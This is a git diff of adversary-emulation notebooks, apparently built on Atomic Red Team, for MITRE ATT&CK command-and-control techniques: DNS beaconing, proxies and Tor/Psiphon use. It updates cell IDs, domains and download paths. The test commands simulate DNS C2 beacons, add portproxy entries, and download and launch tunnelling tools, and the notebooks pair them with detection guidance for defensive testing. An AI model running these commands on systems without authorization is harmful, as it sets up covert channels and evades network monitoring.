PathToAtomicsFolder\n.\\T1071.004\\src\\T1071-dns-beacon.ps1 -Domain 127.0.0.1.xip.io -Subdomain atomicredteam -QueryType TXT -C2Interval 30 -C2Jitter 20 -RunTime 30\n```" + "```powershell\nSet-Location \"PathToAtomicsFolder\"\n.\\T1071.004\\src\\T1071-dns-beacon.ps1 -Domain 127.0.0.1.nip.io -Subdomain atomicredteam -QueryType TXT -C2Interval 30 -C2Jitter 20 -RunTime 30\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "27be3f22", + "id": "365580b1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1071.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "11a87aef", + "id": "07a52a27", "metadata": {}, "source": [ "### Atomic Test #3 - DNS Long Domain Query", "This test simulates an infected host returning data to a command and control server using long domain names.\nThe simulation involves sending DNS queries that gradually increase in length until reaching the maximum length. The intent is to test the effectiveness of detection of DNS queries for long domain names over a set threshold.\n Upon execution, DNS information about the domain will be displayed for each callout.\n", "**Supported Platforms:** windows", "#### Attack Commands: Run with `powershell`\n", - "```powershell\nSet-Location PathToAtomicsFolder\n.\\T1071.004\\src\\T1071-dns-domain-length.ps1 -Domain 127.0.0.1.xip.io -Subdomain atomicredteamatomicredteamatomicredteamatomicredteamatomicredte -QueryType TXT\n```" + "```powershell\nSet-Location \"PathToAtomicsFolder\"\n.\\T1071.004\\src\\T1071-dns-domain-length.ps1 -Domain 127.0.0.1.nip.io -Subdomain atomicredteamatomicredteamatomicredteamatomicredteamatomicredte -QueryType TXT\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "510da1c4", + "id": "3c0be689", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1071.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "e5867fb4", + "id": "2e870a65", "metadata": {}, "source": [ "### Atomic Test #4 - DNS C2", @@ -87,14 +87,14 @@ { "cell_type": "code", "execution_count": null, - "id": "0c31e270", + "id": "443bc9b6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1071.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "df873301", + "id": "75827936", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)\n\nMonitor for DNS traffic to/from known-bad or suspicious domains." } @@ -102,13 +102,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1071.ipynb b/playbook/tactics/command-and-control/T1071.ipynb index 00fa3cf0..fb89272b 100644 --- a/playbook/tactics/command-and-control/T1071.ipynb +++ b/playbook/tactics/command-and-control/T1071.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "c0c9e724", + "id": "e031d7db", "metadata": {}, - "source": "# T1071 - Application Layer Protocol\nAdversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. " + "source": "# T1071 - Application Layer Protocol\nAdversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server. \n\nAdversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP. " }, { "cell_type": "markdown", - "id": "0eca8b60", + "id": "94eebf62", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "b5ad98de", + "id": "85155dfe", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol standards regarding syntax, structure, or any other variable adversaries could leverage to conceal data.(Citation: University of Birmingham C2)" }, { "cell_type": "markdown", - "id": "8fa91664", + "id": "11352885", "metadata": {}, "source": "\n## Shield Active Defense\n### Network Monitoring \n Monitor network traffic in order to detect adversary activity. \n\n Network monitoring involves capturing network activity data, including capturing of server, firewall, and other relevant logs. A defender can then review them or send them to a centralized collection location for further analysis.\n#### Opportunity\nThere is an opportunity to monitor network traffic for different protocols, anomalous traffic patterns, transfer of data, etc. to determine the presence of an adversary.\n#### Use Case\nThe defender can implement network monitoring for and alert on anomalous traffic patterns, large or unexpected data transfers, and other activity that may reveal the presence of an adversary.\n#### Procedures\nCapture network logs for internet-facing devices and send those logs to a central collection location.\nCapture all network device (router, switches, proxy, etc.) logs on a decoy network and send those logs to a central collection location.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1079.ipynb b/playbook/tactics/command-and-control/T1079.ipynb deleted file mode 100644 index afcf6b2d..00000000 --- a/playbook/tactics/command-and-control/T1079.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "bbe8180b", - "metadata": {}, - "source": "# T1079 - Multilayer Encryption\nAn adversary performs C2 communications using multiple layers of encryption, typically (but not exclusively) tunneling a custom encryption scheme within a protocol encryption scheme such as HTTPS or SMTPS." - }, - { - "cell_type": "markdown", - "id": "bd5c8359", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "353da8fd", - "metadata": {}, - "source": "## Detection\nIf malware uses [Standard Cryptographic Protocol](https://attack.mitre.org/techniques/T1032), SSL/TLS inspection can be used to detect command and control traffic within some encrypted communication channels. (Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation. (Citation: SEI SSL Inspection Risks) After SSL/TLS inspection, additional cryptographic analysis may be needed to analyze the second layer of encryption.\n\nWith [Custom Cryptographic Protocol](https://attack.mitre.org/techniques/T1024), if malware uses encryption with symmetric keys, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures. (Citation: Fidelis DarkComet)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)" - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/command-and-control/T1090.001.ipynb b/playbook/tactics/command-and-control/T1090.001.ipynb index 05b889fe..768a6594 100644 --- a/playbook/tactics/command-and-control/T1090.001.ipynb +++ b/playbook/tactics/command-and-control/T1090.001.ipynb @@ -2,24 +2,24 @@ "cells": [ { "cell_type": "markdown", - "id": "60dc9090", + "id": "bff1e4ba", "metadata": {}, "source": "# T1090.001 - Internal Proxy\nAdversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems." }, { "cell_type": "markdown", - "id": "9a44000b", + "id": "ab2d5e58", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "1620c5a9", + "id": "7bbc0a0a", "metadata": {}, "source": [ "### Atomic Test #1 - Connection Proxy", "Enable traffic redirection.\n\nNote that this test may conflict with pre-existing system configuration.\n", - "**Supported Platforms:** macos, linux", + "**Supported Platforms:** linux, macos", "#### Attack Commands: Run with `sh`\n", "```sh\nexport http_proxy=127.0.0.1:8080\n```" ] @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "a56d3a74", + "id": "7b4ef36b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.001 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "03588df5", + "id": "e42c3dfe", "metadata": {}, "source": "#### Cleanup: \n```sh\nunset http_proxy\nunset https_proxy\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d498e3de", + "id": "43db3be0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.001 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "8b60cad0", + "id": "d7ef17a6", "metadata": {}, "source": [ "### Atomic Test #2 - Connection Proxy for macOS UI", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "6ff64103", + "id": "1a0ed168", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.001 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "aa0982aa", + "id": "c4764c2d", "metadata": {}, "source": "#### Cleanup: \n```sh\nnetworksetup -setwebproxystate Wi-Fi off\nnetworksetup -setsecurewebproxystate Wi-Fi off \n```" }, { "cell_type": "code", "execution_count": null, - "id": "16d78b96", + "id": "a2ab3050", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.001 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "5b6beaa1", + "id": "5ad27741", "metadata": {}, "source": [ "### Atomic Test #3 - portproxy reg key", @@ -96,28 +96,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2081e51e", + "id": "2112fb1f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.001 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "21a70a8d", + "id": "14dd57e7", "metadata": {}, "source": "#### Cleanup: \n```powershell\nnetsh interface portproxy delete v4tov4 listenport=1337 -ErrorAction Ignore | Out-Null```" }, { "cell_type": "code", "execution_count": null, - "id": "7c221129", + "id": "83dc95b8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.001 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "38131c47", + "id": "ff41cc32", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows between clients that should not or often do not communicate with one another. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" } @@ -125,13 +125,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1090.002.ipynb b/playbook/tactics/command-and-control/T1090.002.ipynb index 048b7260..2f85be3f 100644 --- a/playbook/tactics/command-and-control/T1090.002.ipynb +++ b/playbook/tactics/command-and-control/T1090.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "0c2071fc", + "id": "ee6b25d0", "metadata": {}, "source": "# T1090.002 - External Proxy\nAdversaries may use an external proxy to act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools) Adversaries use these types of proxies to manage command and control communications, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths to avoid suspicion.\n\nExternal connection proxies are used to mask the destination of C2 traffic and are typically implemented with port redirectors. Compromised systems outside of the victim environment may be used for these purposes, as well as purchased infrastructure such as cloud-based resources or virtual private servers. Proxies may be chosen based on the low likelihood that a connection to them from a compromised system would be investigated. Victim systems would communicate directly with the external proxy on the Internet and then the proxy would forward communications to the C2 server." }, { "cell_type": "markdown", - "id": "6f3ef72b", + "id": "25341d6e", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "581836e2", + "id": "3d04a914", "metadata": {}, "source": "## Detection\nAnalyze network data for uncommon data flows, such as a client sending significantly more data than it receives from an external server. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)" } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1090.003.ipynb b/playbook/tactics/command-and-control/T1090.003.ipynb index 4682ebb0..b71fa9be 100644 --- a/playbook/tactics/command-and-control/T1090.003.ipynb +++ b/playbook/tactics/command-and-control/T1090.003.ipynb @@ -2,154 +2,154 @@ "cells": [ { "cell_type": "markdown", - "id": "ab8735ed", + "id": "617c08f4", "metadata": {}, "source": "# T1090.003 - Multi-hop Proxy\nTo disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)\n\nIn the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise. By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization\u2019s WAN. Protocols such as ICMP may be used as a transport." }, { "cell_type": "markdown", - "id": "6879439f", + "id": "b6bc36c3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "7752a931", + "id": "1547a2c0", "metadata": {}, - "source": "### Atomic Test #1 - Psiphon\nPsiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you\nwith uncensored access to Internet.\nThis process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands.\nMore information can be found about Psiphon using the following urls\nhttp://s3.amazonaws.com/0ubz-2q11-gi9y/en.html\nhttps://psiphon.ca/faq.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The proxy settings backup file must exist on disk at $env:Temp\\proxy-backup.txt\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:Temp\\proxy-backup.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nif(-not (test-path $env:Temp\\proxy-backup.txt)){\n$Proxy = (Get-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' -Name \"ProxyServer\" -ErrorAction Ignore).ProxyServer\nSet-Content $env:Temp\\proxy-backup.txt $Proxy}\n\n```\n##### Description: The Psiphon executable must exist in the Downloads folder\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:UserProfile\\Downloads\\psiphon3.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile \"$env:UserProfile\\Downloads\\psiphon3.exe\" \"https://s3.amazonaws.com/0ubz-2q11-gi9y/psiphon3.exe\"\n\n```\n##### Description: Batch file containing commands to run must be in src directory \n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nInvoke-WebRequest -OutFile \"PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat\" \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1090.003/src/Psiphon.bat\"\n\n```" + "source": "### Atomic Test #1 - Psiphon\nPsiphon 3 is a circumvention tool from Psiphon Inc. that utilizes VPN, SSH and HTTP Proxy technology to provide you\nwith uncensored access to Internet.\nThis process will launch Psiphon 3 and establish a connection. Shortly after it will be shut down via process kill commands.\nMore information can be found about Psiphon using the following urls\nhttp://s3.amazonaws.com/0ubz-2q11-gi9y/en.html\nhttps://psiphon.ca/faq.html\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The proxy settings backup file must exist on disk at $env:Temp\\proxy-backup.txt\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:Temp\\proxy-backup.txt) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nif(-not (test-path $env:Temp\\proxy-backup.txt)){\n$Proxy = (Get-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' -Name \"ProxyServer\" -ErrorAction Ignore).ProxyServer\nSet-Content $env:Temp\\proxy-backup.txt $Proxy}\n\n```\n##### Description: The Psiphon executable must exist in the Downloads folder\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\psiphon3.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction ignore -Force | Out-Null\nInvoke-WebRequest \"https://s3.amazonaws.com/0ubz-2q11-gi9y/psiphon3.exe\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\psiphon3.exe\" \n\n```\n##### Description: Batch file containing commands to run must be in src directory \n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\T1090.003\\src\\\" -ErrorAction ignore -Force | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1090.003/src/Psiphon.bat\" -OutFile \"PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9ed7c7b4", + "id": "167c88b1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "09919366", + "id": "11469a76", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\nPathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat\n```" + "```powershell\n& \"PathToAtomicsFolder\\T1090.003\\src\\Psiphon.bat\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "d9876565", + "id": "4b9b2e22", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "ad6718ba", + "id": "be0a158a", "metadata": {}, "source": "#### Cleanup: \n```powershell\n$Proxy = Get-Content $env:Temp\\proxy-backup.txt -ErrorAction Ignore\nif($null -ne $Proxy) \n{Set-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings' -Name \"ProxyServer\" -Value $Proxy}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d16c10ae", + "id": "db26fa88", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "318f2db8", + "id": "f9a60da5", "metadata": {}, - "source": "### Atomic Test #2 - Tor Proxy Usage - Windows\nThis test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy will be launched, run for 60 seconds, and then exit. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: tor.exe must be installed on the machine \n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:temp\\tor\\Tor\\tor.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nStart-BitsTransfer -Source \"https://archive.torproject.org/tor-package-archive/torbrowser/11.0.6/tor-win32-0.4.6.9.zip\" -Destination \"$env:temp\\tor.zip\" -dynamic\nexpand-archive -LiteralPath \"$env:temp\\tor.zip\" -DestinationPath \"$env:temp\\tor\"\n\n```" + "source": "### Atomic Test #2 - Tor Proxy Usage - Windows\nThis test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy will be launched, run for 60 seconds, and then exit. \n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: tor.exe must be installed on the machine \n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path \"PathToAtomicsFolder\\..\\ExternalPayloads\\tor\\Tor\\tor.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nInvoke-WebRequest \"https://archive.torproject.org/tor-package-archive/torbrowser/11.0.6/tor-win32-0.4.6.9.zip\" -OutFile \"PathToAtomicsFolder\\..\\ExternalPayloads\\tor.zip\"\nexpand-archive -LiteralPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\tor.zip\" -DestinationPath \"PathToAtomicsFolder\\..\\ExternalPayloads\\tor\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "c7a9a52e", + "id": "7465d916", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 2 -GetPreReqs" }, { "cell_type": "markdown", - "id": "95bdb781", + "id": "653572f4", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", - "```powershell\ninvoke-expression 'cmd /c start powershell -Command {cmd /c $env:temp\\tor\\Tor\\tor.exe}'\nsleep -s 60\nstop-process -name \"tor\" | out-null\n```" + "```powershell\ninvoke-expression 'cmd /c start powershell -Command {cmd /c \"PathToAtomicsFolder\\..\\ExternalPayloads\\tor\\Tor\\tor.exe\"}'\nsleep -s 60\nstop-process -name \"tor\" | out-null\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "7cc8bd92", + "id": "f4b0dcec", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "6dd98957", + "id": "4a24754c", "metadata": {}, - "source": "### Atomic Test #3 - Tor Proxy Usage - Debian/Ubuntu\nThis test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy service will be launched. \n\n**Supported Platforms:** linux\n#### Dependencies: Run with `sh`!\n##### Description: Tor must be installed on the machine \n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v tor --version)\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nsudo apt-get -y install tor\n\n```" + "source": "### Atomic Test #3 - Tor Proxy Usage - Debian/Ubuntu/FreeBSD\nThis test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy service will be launched. \n\n**Supported Platforms:** linux\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `sh`!\n##### Description: Tor must be installed on the machine \n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v tor --version)\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\n(which apt && sudo apt-get -y install tor) || (which pkg && pkg install -y tor)\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e312656f", + "id": "6488fbf2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "08853ebc", + "id": "719c021e", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", - "```sh\nsudo systemctl start tor \n```" + "```sh\n[ \"$(uname)\" = 'FreeBSD' ] && sysrc tor_enable=\"YES\" && service tor start || sudo systemctl start tor\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "69ef3cb1", + "id": "9a8729b8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "dd79c8c5", + "id": "60408bce", "metadata": {}, - "source": "#### Cleanup: \n```sh\nsudo systemctl stop tor\n```" + "source": "#### Cleanup: \n```sh\n[ \"$(uname)\" = 'FreeBSD' ] && service tor stop && sysrc -x tor_enable || sudo systemctl stop tor\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8daed5d2", + "id": "79bedbc3", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "e1d0cc1e", + "id": "3f97eae7", "metadata": {}, "source": "### Atomic Test #4 - Tor Proxy Usage - MacOS\nThis test is designed to launch the tor proxy service, which is what is utilized in the background by the Tor Browser and other applications with add-ons in order to provide onion routing functionality.\nUpon successful execution, the tor proxy service will be launched. \n\n**Supported Platforms:** macos\n#### Dependencies: Run with `sh`!\n##### Description: Tor must be installed on the machine \n\n##### Check Prereq Commands:\n```sh\nif [ -x \"$(command -v tor --version)\" ]; then exit 0; else exit 1; fi\n\n```\n##### Get Prereq Commands:\n```sh\nif [ ! -x \"$(command -v brew --version)\" ]; then /bin/bash -c \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh keystroke return)\"; fi\nbrew install tor\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ddc265d8", + "id": "12223a5b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "9f930fdb", + "id": "341cdeaf", "metadata": {}, "source": [ "#### Attack Commands: Run with `sh`\n", @@ -159,28 +159,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ba318126", + "id": "758f2802", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "8a37a34d", + "id": "6d206ac7", "metadata": {}, "source": "#### Cleanup: \n```sh\nkillall tor > /dev/null 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f47f5d99", + "id": "a29519ce", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1090.003 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "1f9695c1", + "id": "728dac6a", "metadata": {}, "source": "## Detection\nWhen observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\n\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP." } @@ -188,13 +188,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/command-and-control/T1090.004.ipynb b/playbook/tactics/command-and-control/T1090.004.ipynb index 1acc295d..67701278 100644 --- a/playbook/tactics/command-and-control/T1090.004.ipynb +++ b/playbook/tactics/command-and-control/T1090.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "1d065a90", + "id": "0e11daf8", "metadata": {}, "source": "# T1090.004 - Domain Fronting\nAdversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in 